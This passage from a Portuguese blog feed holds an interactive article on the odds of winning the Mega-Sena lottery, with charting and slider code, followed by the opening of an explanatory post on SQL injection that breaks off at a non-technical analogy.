&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
  MathJax.Hub.Config({
      jax: [&quot;input/TeX&quot;,&quot;output/SVG&quot;],
      inlineMath: [[&apos;\(&apos;,&apos;\)&apos;]]
   });
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot; id=&quot;MathJax-script&quot; async=&quot;&quot; src=&quot;https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js&quot;&gt;
&lt;/script&gt;

&lt;blockquote&gt;
  &lt;p&gt;Na época de fim de ano, muitas pessoas voltam suas atenções para um evento probabilístico chamado Mega da Virada. Mas será que elas entendem a real chance de ganharem?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;a-probabilidade&quot;&gt;A probabilidade&lt;/h2&gt;

&lt;p&gt;A Mega-sena é um evento da loteria brasileira em que, dentre 60 números, nomeados de 1 a 60, o jogador deve marcar uma quantidade entre 6 e 15 números. O vencedor do prêmio máximo é aquele que corretamente marca os 6 números sorteados. O preço da aposta é R$ 3,50, então esse tipo de sorteio acumulado no final do ano é visto por muitos como uma forma de enriquecer facilmente apenas na sorte.&lt;/p&gt;

&lt;p&gt;Em termos matemáticos, é muito fácil calcular a chance de ganhar nesse evento. O número de cartões possíveis é dado pela combinação de 60, 6 a 6, ou:&lt;/p&gt;

\[C_{60}^6 = \frac{60!}{54!6!} = 50.063.860\]

&lt;p&gt;Sua chance de acertar o cartão é &lt;strong&gt;uma em cinquenta milhões, sessenta e três mil e oitocentos e sessenta&lt;/strong&gt;! Para jogar todos os cartões possíveis, você teria que desembolsar aproximadamente 175 milhões de reais.&lt;/p&gt;

&lt;p&gt;O jogo ainda te dá a chance de jogar vários cartões de uma só vez em um cartão só, preenchendo mais de 6 números. Por exemplo, ao jogar 7 números, você estará jogando o equivalente a 7 cartões diferentes, e o preço do cartão subirá proporcionalmente. Não existe nenhuma vantagem em jogar 7 cartões ou 6 números ou 1 cartão com 7 números.&lt;/p&gt;

&lt;p&gt;Você pode alterar os parâmetros abaixo e ver como a sua probabilidade muda quanto mais números você joga. Tente alterar as propriedades do concurso! Quantos números você precisa jogar para ter 50% de chance de ganhar, o equivalente a ganhar no cara-ou-coroa? &lt;strong&gt;A reposta é 54.&lt;/strong&gt; Mesmo jogando 59 números em 60, sua chance seria de 90%.&lt;/p&gt;

&lt;div class=&quot;fancybox&quot;&gt;
&lt;h3 style=&quot;margin-top: 0rem; margin-bottom: 1rem&quot;&gt;Probabilidade de Ganhar&lt;/h3&gt;

&lt;link href=&quot;https://cdnjs.cloudflare.com/ajax/libs/angularjs-slider/6.4.3/rzslider.css&quot; rel=&quot;stylesheet&quot; /&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.6.6/angular.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angularjs-slider/6.4.3/rzslider.min.js&quot;&gt;&lt;/script&gt;
&lt;div id=&quot;myapp&quot; ng-controller=&quot;TestController as vm&quot;&gt;
    &lt;rzslider rz-slider-model=&quot;vm.totais.value&quot; rz-slider-options=&quot;vm.totais.options&quot; style=&quot;margin-bottom: 1.5rem&quot;&gt;&lt;/rzslider&gt;
    &lt;rzslider rz-slider-model=&quot;vm.numeros.value&quot; rz-slider-options=&quot;vm.numeros.options&quot;&gt;&lt;/rzslider&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-top: 1rem&quot;&gt;Cartões totais do concurso: &lt;b id=&quot;total_cards&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Cartões totais jogados: &lt;b id=&quot;chosen_cards&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Preço da Aposta: &lt;b id=&quot;preco&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Chance de ganhar: &lt;b id=&quot;chance&quot;&gt;&lt;/b&gt;&lt;/div&gt;

&lt;script&gt;
var myApp = angular.module(&apos;myappdom&apos;, [&apos;rzModule&apos;]);

myApp.controller(&apos;TestController&apos;, TestController);

var f = [];
function factorial (n) {
  if (n == 0 || n == 1)
    return 1;
  if (f[n] &gt; 0)
    return f[n];
  return f[n] = factorial(n-1) * n;
}

function updateProbability (t, n) {
  var cards = Math.round(factorial(t)/factorial(t-6)/factorial(6));
  var chosen_cards = Math.round(factorial(n)/factorial(6)/factorial(n-6));
  var preco = chosen_cards * 3.5;
  var chance = chosen_cards/cards*100;
  document.getElementById(&quot;total_cards&quot;).innerHTML = cards;
  document.getElementById(&quot;chosen_cards&quot;).innerHTML = chosen_cards;
  document.getElementById(&quot;preco&quot;).innerHTML = &apos;R$ &apos; + preco.toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;);
  document.getElementById(&quot;chance&quot;).innerHTML = chance + &apos;%&apos;;
}

function TestController() {
  var vm = this;

  vm.totais = {
    value: 60,
    options: {
      floor: 6,
      ceil: 70,
	  onChange: function(id) {
        vm.numeros.options.maxLimit = vm.totais.value;
		if(vm.numeros.value &gt; vm.totais.value)
			vm.numeros.value = vm.totais.value;

        updateProbability(vm.totais.value, vm.numeros.value);
	  },
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Números totais&lt;/b&gt;:&apos; + value;
		  default:
			return value;
		}
	  }
    }
  }


  vm.numeros = {
    value: 6,
    options: {
      floor: 6,
      ceil: 70,
	  onChange: function(id) {
        updateProbability(vm.totais.value, vm.numeros.value);
	  },
      maxLimit: vm.totais.value,
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Números jogados&lt;/b&gt;:&apos; + value;
		  default:
			return value;
		}
	  }
    }
  }
    
 updateProbability(vm.totais.value,vm.numeros.value);
}

angular.bootstrap(document.getElementById(&apos;myapp&apos;), [&apos;myappdom&apos;]);
&lt;/script&gt;
&lt;/div&gt;

&lt;h2 id=&quot;um-desperdício-de-papel&quot;&gt;Um desperdício de papel&lt;/h2&gt;

&lt;p&gt;Um cartão comum da Mega-Sena possui 14x8.4 cm. Acredite. Eu medi. Isso equivale a 117.6 cm² de papel. Para preencher todos os mais de 50 milhões de cartões possíveis, são necessários 588751 m² de papel, que é aproximadamente o tamanho da cidade do Vaticano.&lt;/p&gt;

&lt;p&gt;Considerando a densidade comum do papel A4 de 75 g/m², são necessárias aproximadamente 44 toneladas de papel para todos esses números.&lt;/p&gt;

&lt;p&gt;Considerando a espessura comum de 0.1 mm, podemos empilhar os bilhetes ao invés de colocá-los lado a lado. O resultado são 5.000 m de altura de papel. Uma altura considerável, mas não é suficiente para alcançar o Everest, com seus imponentes 8.848 m de altura.&lt;/p&gt;

&lt;h2 id=&quot;todo-número-nasce-igual-ou-quase&quot;&gt;Todo número nasce igual… ou quase&lt;/h2&gt;

&lt;p&gt;Dentro de uma distribuição aleatória, é esperado que com o passar do tempo ela se torne uniforme, com igual probabilidade para todos os termos. Isso é realmente o que acontece analisando todas as ocorrências desde 1996.&lt;/p&gt;

&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.1/Chart.min.js&quot;&gt;&lt;/script&gt;

&lt;script src=&quot;https://cdn.rawgit.com/jtblin/angular-chart.js/master/dist/angular-chart.min.js&quot;&gt;&lt;/script&gt;

&lt;canvas id=&quot;myChart&quot; width=&quot;65&quot; height=&quot;150&quot; style=&quot;margin-bottom: 1rem&quot;&gt;&lt;/canvas&gt;
&lt;script&gt;
var ctx = document.getElementById(&quot;myChart&quot;).getContext(&apos;2d&apos;);
var myChart = new Chart(ctx, {
    type: &apos;horizontalBar&apos;,
    data: {
        labels: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60],
        datasets: [{
            label: &apos;Número de Ocorrências&apos;,
            data: [198, 206, 190, 219, 232, 201, 189, 199, 182, 224, 190, 199, 209, 185, 183, 209, 215, 198, 185, 192, 177, 173, 219, 218, 182, 164, 202, 213, 206, 211, 194, 211, 217, 206, 196, 204, 204, 195, 185, 188, 208, 214, 211, 204, 199, 187, 199, 186, 200, 207, 218, 213, 227, 217, 172, 201, 187, 191, 197, 186],
            backgroundColor: &apos;rgba(54, 162, 235, 0.2)&apos;,
            borderColor: &apos;rgba(54, 162, 235, 1)&apos;,
            borderWidth: 1
        }]
    },
    options: {
        scales: {
            yAxes: [{
                ticks: {
                    beginAtZero:true
                }
            }]
        }
    }
});
&lt;/script&gt;

&lt;p&gt;O esperado é que cada número possua a probabilidade independente de &lt;strong&gt;1/60&lt;/strong&gt; de ser sorteado, ou aproximadamente &lt;strong&gt;1.67%&lt;/strong&gt; das vezes.&lt;/p&gt;

&lt;p&gt;Curiosamente, alguns números se destacam: o número 26 é o que menos apareceu em todos os concursos, sendo sorteado &lt;strong&gt;164 vezes&lt;/strong&gt; ou &lt;strong&gt;1.37%&lt;/strong&gt; das vezes. O número com maior probabilidade é o 5, com &lt;strong&gt;232 ocorrências&lt;/strong&gt; e aparecendo &lt;strong&gt;1.93%&lt;/strong&gt; das vezes.&lt;/p&gt;

&lt;p&gt;O que esses dados significam? Absolutamente nada. Com um desvio padrão de 14.4, essa distribuição está bem próxima de uniforme. As variações encontradas são devido ao baixo número de amostras, e essa diferença tende a diminuir com o tempo, quando mais e mais números são sorteados.&lt;/p&gt;

&lt;h2 id=&quot;mas-minha-probabilidade-de-ganhar-aumenta-com-o-tempo-certo&quot;&gt;Mas minha probabilidade de ganhar aumenta com o tempo… certo?&lt;/h2&gt;

&lt;p&gt;Um erro muito comum das pessoas é assumir que a probabilidade vai aumentando com o tempo: quanto mais tempo passa, mais provável é que você ganhe alguma coisa.&lt;/p&gt;

&lt;p&gt;Tomemos como exemplo o lançamento de uma moeda, escolhendo coroa. É esperado que a probabilidade de ganhar escolhendo coroa seja de 50%. Agora vamos supor que alguém jogue a moeda duas vezes, tentando obter coroa. São 4 possibilidades possíveis:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;K&lt;/strong&gt; &lt;strong&gt;C&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;C&lt;/strong&gt; &lt;strong&gt;K&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;C&lt;/strong&gt; &lt;strong&gt;C&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;K&lt;/strong&gt; &lt;strong&gt;K&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Podemos observar que a probabilidade combinada é de 75%, pois em 3 dos 4 casos um dos lançamentos é coroa. Isso se deve ao fato de os lançamentos serem &lt;strong&gt;independentes&lt;/strong&gt;. Caso você perca no primeiro lançamento, a probabilidade de ganhar cai imediatamente para 50%.&lt;/p&gt;

&lt;p&gt;O mesmo ocorre na Mega-Sena. Sua probabilidade de ganhar em cada concurso continua a mesma, mas jogar mais concursos aumenta de leve suas chances de ganhar. A equação que rege essa probabilidade é:&lt;/p&gt;

\[P_G = 1 - (P_P)^n\]

&lt;p&gt;Vamos digerir essa fórmula: a probabilidade ganhar, é igual a 1 menos a probabilidade de perder elevado ao número de tentativas. Voltando ao exemplo da moeda, onde a probabilidade de perder é &lt;strong&gt;1/2&lt;/strong&gt; e são realizadas duas tentativas:&lt;/p&gt;

\[P_G = 1 - \left(\frac{1}{2}\right)^2 = 0.75 = 75 \, \%\]

&lt;p&gt;Por fim, a chance de ganhar na Mega com n concursos também segue essa lógica:&lt;/p&gt;

\[P_G = 1 - \left(\frac{50.063.859}{50.063.860}\right)^n\]

&lt;p&gt;Que como você pode perceber de antemão, é pequeno para valores pequenos de n, o que já era de se esperar: é preciso participar de muitos concursos para ter uma probabilidade alta de ganhar. Mas quantos exatamente? O gráfico a seguir mostra como a chance de ganhar varia com o número de concursos participados.&lt;/p&gt;

&lt;canvas id=&quot;myOtherChart&quot; width=&quot;130&quot; height=&quot;100&quot; style=&quot;margin-bottom: 1rem&quot;&gt;&lt;/canvas&gt;
&lt;script&gt;
var ctx = document.getElementById(&quot;myOtherChart&quot;).getContext(&apos;2d&apos;);
var myChart = new Chart(ctx, {
    type: &apos;scatter&apos;,
    data: {
        datasets: [{
            label: &apos;Probabilidade de Ganhar&apos;,
            data: [{x:1.0,y:1.9974e-08},
            {x:2.0,y:3.9949e-08},
            {x:3.0,y:5.9923e-08},
            {x:4.0,y:7.9898e-08},
            {x:5.0,y:9.9872e-08},
            {x:6.0,y:1.1985e-07},
            {x:7.0,y:1.3982e-07},
            {x:8.0,y:1.598e-07},
            {x:9.0,y:1.7977e-07},
            {x:10.0,y:1.9974e-07},
            {x:20.0,y:3.9949e-07},
            {x:30.0,y:5.9923e-07},
            {x:40.0,y:7.9898e-07},
            {x:50.0,y:9.9872e-07},
            {x:60.0,y:1.1985e-06},
            {x:70.0,y:1.3982e-06},
            {x:80.0,y:1.598e-06},
            {x:90.0,y:1.7977e-06},
            {x:100.0,y:1.9974e-06},
            {x:200.0,y:3.9949e-06},
            {x:300.0,y:5.9923e-06},
            {x:400.0,y:7.9898e-06},
            {x:500.0,y:9.9872e-06},
            {x:600.0,y:1.1985e-05},
            {x:700.0,y:1.3982e-05},
            {x:800.0,y:1.5979e-05},
            {x:900.0,y:1.7977e-05},
            {x:1000.0,y:1.9974e-05},
            {x:2000.0,y:3.9948e-05},
            {x:3000.0,y:5.9922e-05},
            {x:4000.0,y:7.9895e-05},
            {x:5000.0,y:9.9867e-05},
            {x:6000.0,y:0.00011984},
            {x:7000.0,y:0.00013981},
            {x:8000.0,y:0.00015978},
            {x:9000.0,y:0.00017975},
            {x:10000.0,y:0.00019972},
            {x:20000.0,y:0.00039941},
            {x:30000.0,y:0.00059906},
            {x:40000.0,y:0.00079866},
            {x:50000.0,y:0.00099823},
            {x:60000.0,y:0.0011978},
            {x:70000.0,y:0.0013972},
            {x:80000.0,y:0.0015967},
            {x:90000.0,y:0.0017961},
            {x:100000.0,y:0.0019955},
            {x:200000.0,y:0.0039869},
            {x:300000.0,y:0.0059744},
            {x:400000.0,y:0.007958},
            {x:500000.0,y:0.0099375},
            {x:600000.0,y:0.011913},
            {x:700000.0,y:0.013885},
            {x:800000.0,y:0.015853},
            {x:900000.0,y:0.017816},
            {x:1000000.0,y:0.019776},
            {x:2000000.0,y:0.039162},
            {x:3000000.0,y:0.058163},
            {x:4000000.0,y:0.076789},
            {x:5000000.0,y:0.095047},
            {x:6000000.0,y:0.11294},
            {x:7000000.0,y:0.13049},
            {x:8000000.0,y:0.14768},
            {x:9000000.0,y:0.16454},
            {x:10000000.0,y:0.18106},
            {x:20000000.0,y:0.32934},
            {x:30000000.0,y:0.45077},
            {x:40000000.0,y:0.55021},
            {x:50000000.0,y:0.63165},
            {x:60000000.0,y:0.69834},
            {x:70000000.0,y:0.75296},
            {x:80000000.0,y:0.79769},
            {x:90000000.0,y:0.83432},
            {x:100000000.0,y:0.86432},
            {x:200000000.0,y:0.98159},
            {x:300000000.0,y:0.9975},
            {x:400000000.0,y:0.99966},
            {x:500000000.0,y:0.99995},
            {x:600000000.0,y:0.99999}],
            borderColor: &apos;rgba(54, 162, 235, 1)&apos;,
            pointBackgroundColor: &apos;rgba(54, 162, 235, 1)&apos;, 
            pointBorderWidth: 3,
            pointRadius: 1,
            showLine: true
        }]
    },
    options: {
        scales: {
            xAxes: [{
                type:&apos;logarithmic&apos;,
                scaleLabel: {
                    labelString: &apos;Concursos participados&apos;,
                    display:true
                }
            }],
            yAxes: [{
                scaleLabel: {
                    labelString: &apos;Probabilidade de Ganhar&apos;,
                    display:true
                }
            }]
        }
    }
});
&lt;/script&gt;

&lt;p&gt;É incrível como o a probabilidade cai substituindo vários cartões em um mesmo concurso por apenas cartão em vários concursos. &lt;strong&gt;Para ter aproximadamente 50% de chance de ganhar, você teria que participar de aproximadamente 30 milhões de concursos&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Na marca de 100 milhões de concursos, você já deve ter o seu prêmio, com 86% de chance. Mas para valores até 500 mil concursos, a probabilidade continua insignificante, de menos de 1%.&lt;/p&gt;

&lt;h2 id=&quot;mas-existe-uma-chance-certo&quot;&gt;Mas existe uma chance… certo?&lt;/h2&gt;

&lt;p&gt;Sim. A chance é infinitesimal, mas existe. Mas tenha em mente que ela é menor ou igual aos seguintes eventos:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Tirar coroa no cara ou coroa &lt;strong&gt;25 vezes seguidas.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Morrer em um acidente de avião. Sério.&lt;/li&gt;
  &lt;li&gt;Ser morto por um meteoro. Sério².&lt;/li&gt;
  &lt;li&gt;Jogar 9 dados e todos caírem com a face 6 voltada para cima.&lt;/li&gt;
  &lt;li&gt;Ganhar um prêmio Nobel (não que prêmios Nobel sejam distribuídos ao acaso).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;mas-eu-quero-tentar&quot;&gt;Mas eu quero tentar!&lt;/h2&gt;

&lt;p&gt;Eu sei que apesar de tudo sua mão está tremendo de ansiedade para jogar na Mega-Sena. Então eu montei uma tabela para planejar as suas chances de ganhar! Insira quantos números você quer apostar por concurso, quantos concursos quer participar e ele te dá a probabilidade de ganhar! Você ainda pode aumentar suas chances diminuindo a dificuldade ou diminuir o preço do cartão.&lt;/p&gt;

&lt;div class=&quot;fancybox&quot;&gt;
&lt;h3 style=&quot;margin-top: 0rem; margin-bottom: 1rem&quot;&gt;Probabilidade de Ganhar&lt;/h3&gt;

&lt;div id=&quot;myotherapp&quot; ng-controller=&quot;FormController as vp&quot;&gt;
&lt;rzslider rz-slider-model=&quot;vp.totais.value&quot; rz-slider-options=&quot;vp.totais.options&quot; style=&quot;margin-bottom: 1.5rem&quot;&gt;&lt;/rzslider&gt;
&lt;rzslider rz-slider-model=&quot;vp.numeros.value&quot; rz-slider-options=&quot;vp.numeros.options&quot; style=&quot;margin-bottom: 1.5rem&quot;&gt;&lt;/rzslider&gt;
&lt;rzslider rz-slider-model=&quot;vp.preco.value&quot; rz-slider-options=&quot;vp.preco.options&quot; style=&quot;margin-bottom: 1.5rem&quot;&gt;&lt;/rzslider&gt;
&lt;rzslider rz-slider-model=&quot;vp.concursos.value&quot; rz-slider-options=&quot;vp.concursos.options&quot; style=&quot;margin-bottom: 1.5rem&quot;&gt;&lt;/rzslider&gt;

&lt;center&gt;
&lt;button ng-click=&quot;vp.resetar()&quot; class=&quot;fancybutton&quot; style=&quot;vertical-align:middle;&quot;&gt;&lt;span&gt;&lt;i class=&quot;fa fa-refresh&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; Restaurar&lt;/span&gt;&lt;/button&gt;
&lt;/center&gt;

&lt;div style=&quot;margin-top: 1rem&quot;&gt;Cartões totais do concurso: &lt;b id=&quot;total_cards_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Cartões totais jogados: &lt;b id=&quot;chosen_cards_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Preço por Aposta: &lt;b id=&quot;preco_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Chance por Aposta: &lt;b id=&quot;chance_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Concursos: &lt;b id=&quot;concursos_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Preço total: &lt;b id=&quot;preco_ac_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Chance total: &lt;b id=&quot;chance_ac_final&quot;&gt;&lt;/b&gt;&lt;/div&gt;

&lt;center&gt;
&lt;button ng-click=&quot;vp.apostar()&quot; class=&quot;fancybutton&quot; style=&quot;vertical-align:middle; margin-top:1.5rem; margin-bottom:1.5rem&quot;&gt;&lt;span&gt;Apostar!&lt;/span&gt;&lt;/button&gt;
&lt;/center&gt;

&lt;div id=&quot;dinheiro_jogado_fora&quot;&gt;&lt;/div&gt;   

&lt;/div&gt;

&lt;script&gt;
var myApp = angular.module(&apos;myotherappdom&apos;, [&apos;rzModule&apos;]);

myApp.controller(&apos;FormController&apos;, FormController);

var f = [];
function factorial (n) {
  if (n == 0 || n == 1)
    return 1;
  if (f[n] &gt; 0)
    return f[n];
  return f[n] = factorial(n-1) * n;
}

function factoryProbability (vp) {
  var t = vp.totais.value;
  var n = vp.numeros.value;
  var cards = Math.round(factorial(t)/factorial(t-6)/factorial(6));
  var chosen_cards = Math.round(factorial(n)/factorial(6)/factorial(n-6));
  var preco = chosen_cards * vp.preco.value;
  var chance = chosen_cards/cards;
  var chance_acumulada = 1 - Math.pow(1 - chance, vp.concursos.value);
  document.getElementById(&quot;total_cards_final&quot;).innerHTML = cards;
  document.getElementById(&quot;chosen_cards_final&quot;).innerHTML = chosen_cards;
  document.getElementById(&quot;preco_final&quot;).innerHTML = &apos;R$ &apos; + preco.toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;);
  document.getElementById(&quot;chance_final&quot;).innerHTML = (chance*100).toFixed(13) + &apos;%&apos;;
  document.getElementById(&quot;concursos_final&quot;).innerHTML = vp.concursos.value;
  document.getElementById(&quot;preco_ac_final&quot;).innerHTML = &apos;R$ &apos; + (preco * vp.concursos.value).toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;);
  document.getElementById(&quot;chance_ac_final&quot;).innerHTML = (chance_acumulada*100).toFixed(13) + &apos;%&apos;;
  return [chance, chosen_cards, vp.concursos.value, vp.preco.value];
}

function FormController() {
  var vp = this;

  vp.totais = {
    value: 60,
    options: {
      floor: 6,
      ceil: 70,
	  onChange: function(id) {
        vp.numeros.options.maxLimit = vp.totais.value;
		if(vp.numeros.value &gt; vp.totais.value)
			vp.numeros.value = vp.totais.value;

        factoryProbability(vp);
	  },
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Números totais&lt;/b&gt;:&apos; + value;
		  default:
			return value;
		}
	  }
    }
  }


  vp.numeros = {
    value: 6,
    options: {
      floor: 6,
      ceil: 70,
	  onChange: function(id) {
        factoryProbability(vp);
	  },
      maxLimit: vp.totais.value,
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Números jogados&lt;/b&gt;:&apos; + value;
		  default:
			return value;
		}
	  }
    }
  }


  vp.preco = {
    value: 3.50,
    options: {
      floor: 0.01,
      ceil: 5,
      step: 0.01,
      precision: 2,
	  onChange: function(id) {
        factoryProbability(vp);
	  },
      maxLimit: vp.totais.value,
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Preço de cada Aposta&lt;/b&gt;: R$&apos; + value.toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;);
		  default:
			return &apos;R$&apos; + value.toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;);
		}
	  }
    }
  }

  vp.concursos = {
    value: 1,
    options: {
      floor: 1,
      ceil: 10000,
      logScale: true,
	  onChange: function(id) {
        factoryProbability(vp);
	  },
	  translate: function(value, sliderId, label) {
		switch(label) {
		  case &apos;model&apos;:
	        return &apos;&lt;b&gt;Concursos Participados&lt;/b&gt;:&apos; + value;
		  default:
			return value;
		}
	  }
    }
  }

  vp.resetar = function() {
    vp.totais.value = 60;
    vp.numeros.value = 6;
    vp.preco.value = 3.5;
    vp.concursos.value = 1;
    factoryProbability(vp);
  }

  vp.apostar = async function() {
    document.getElementById(&quot;dinheiro_jogado_fora&quot;).innerHTML = &apos;&apos;;
    await sleep(100);
    var ret = factoryProbability(vp);
    var vitorias = 0;
    for (var i = 0; i &lt; ret[2]; i++) {
        if(Math.random() &lt;= ret[0])
            vitorias = vitorias + 1;
    }
    var cartoes = ret[1] * ret[2];
    var str = &apos;Você jogou o equivalente a &lt;b&gt;&apos; + cartoes + &apos; &apos; + ((cartoes == 1) ? &apos;cartão&apos; : &apos;cartões&apos;) + &apos;&lt;/b&gt;&apos;;
    str += &apos;, gastou &lt;b&gt;R$&apos; + (cartoes * ret[3]).toFixed(2).replace(/(\d)(?=(\d{3})+\.)/g, &apos;$1,&apos;) + &apos;&lt;/b&gt; e ganhou &lt;b&gt;&apos;;
    str += vitorias + ((vitorias == 1) ? &apos; vez&apos; : &apos; vezes&apos;) + &apos;&lt;/b&gt;.&apos;;
    document.getElementById(&quot;dinheiro_jogado_fora&quot;).innerHTML = str;
  }
    
  factoryProbability(vp);
}

function sleep (time) {
  return new Promise((resolve) =&gt; setTimeout(resolve, time));
}

angular.bootstrap(document.getElementById(&apos;myotherapp&apos;), [&apos;myotherappdom&apos;]);
&lt;/script&gt;


&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Entendendo SQL Injection</title>
   <link href="https://bvanelli.github.io/2017/12/13/entendendo-sql-injection/"/>
   <updated>2017-12-13T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2017/12/13/entendendo-sql-injection</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Esse é um artigo explicativo de como funciona o SQL Injection e seu perigo para a segurança da informação, além de como esse problema pode ser contornado facilmente e como testar suas aplicações. Lembre-se que testar aplicações sem a permissão do proprietário é crime!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#introdução&quot; id=&quot;markdown-toc-introdução&quot;&gt;Introdução&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#como-injetar-comandos&quot; id=&quot;markdown-toc-como-injetar-comandos&quot;&gt;Como Injetar comandos?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exemplos-de-injection-em-query&quot; id=&quot;markdown-toc-exemplos-de-injection-em-query&quot;&gt;Exemplos de Injection em Query&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#se-protegendo-de-sql-injection&quot; id=&quot;markdown-toc-se-protegendo-de-sql-injection&quot;&gt;Se protegendo de SQL Injection&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#utilizar-métodos-prontos-da-linguagem&quot; id=&quot;markdown-toc-utilizar-métodos-prontos-da-linguagem&quot;&gt;Utilizar métodos prontos da linguagem&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#validar-dados-de-entrada-manualmente-whitelist&quot; id=&quot;markdown-toc-validar-dados-de-entrada-manualmente-whitelist&quot;&gt;Validar dados de entrada manualmente (whitelist)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#escapar-dados-de-entrada&quot; id=&quot;markdown-toc-escapar-dados-de-entrada&quot;&gt;Escapar dados de entrada&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#testando-suas-aplicações&quot; id=&quot;markdown-toc-testando-suas-aplicações&quot;&gt;Testando suas aplicações&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;introdução&quot;&gt;Introdução&lt;/h2&gt;

&lt;p&gt;O SQL Injection é um ataque à aplicações que consiste em injetar comandos SQL que serão executados na máquina alvo. E isso pode, a princípio, parecer confuso. Mas segundo a OWASP ( Open Web Application Security Project), &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet&quot;&gt;Injection representa um dos 10 maiores riscos para aplicações&lt;/a&gt;, incluindo aí ataques de SQL Injection, Command Injection e Buffer Overflow.&lt;/p&gt;

&lt;p&gt;No entanto, é preocupante que uma aplicação que utiliza banco de dados, o que se resume a praticamente qualquer aplicação atual, possa ser explorada para executar comandos maliciosos arbitrários de um atacante. Em outras palavras, um ataque bem-sucedido poderia inserir e remover tabelas de um banco, ou mesmo enviar dados sensíveis de volta ao atacante, ferindo os &lt;a href=&quot;https://pt.wikipedia.org/wiki/Seguran%C3%A7a_da_informa%C3%A7%C3%A3o#Conceitos_de_seguran.C3.A7a&quot;&gt;pilares da segurança da informação&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;como-injetar-comandos&quot;&gt;Como Injetar comandos?&lt;/h2&gt;

&lt;p&gt;Você deve estar se perguntando: como &lt;em&gt;exatamente&lt;/em&gt; alguém conseguiria injetar comandos em uma aplicação? Suponha que você escreva sua lista de compras mas mande outra pessoa ao mercado. Sua lista contém apenas um item, e a pessoa irá executar mentalmente a ação &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPRAR&lt;/code&gt;. Se sua lista contém, por exemplo, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AÇÚCAR&lt;/code&gt;, então a pessoa, ao ler a lista, processaria &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPRAR AÇÚCAR&lt;/code&gt;. Mas você não está contente com isso, então escreve uma nova lista, contendo a string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AÇÚCAR E CHOCOLATE&lt;/code&gt;. Logo, a pessoa que receber essa lista irá executar o comando de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPRAR AÇÚCAR E CHOCOLATE&lt;/code&gt;.&lt;/p&gt;

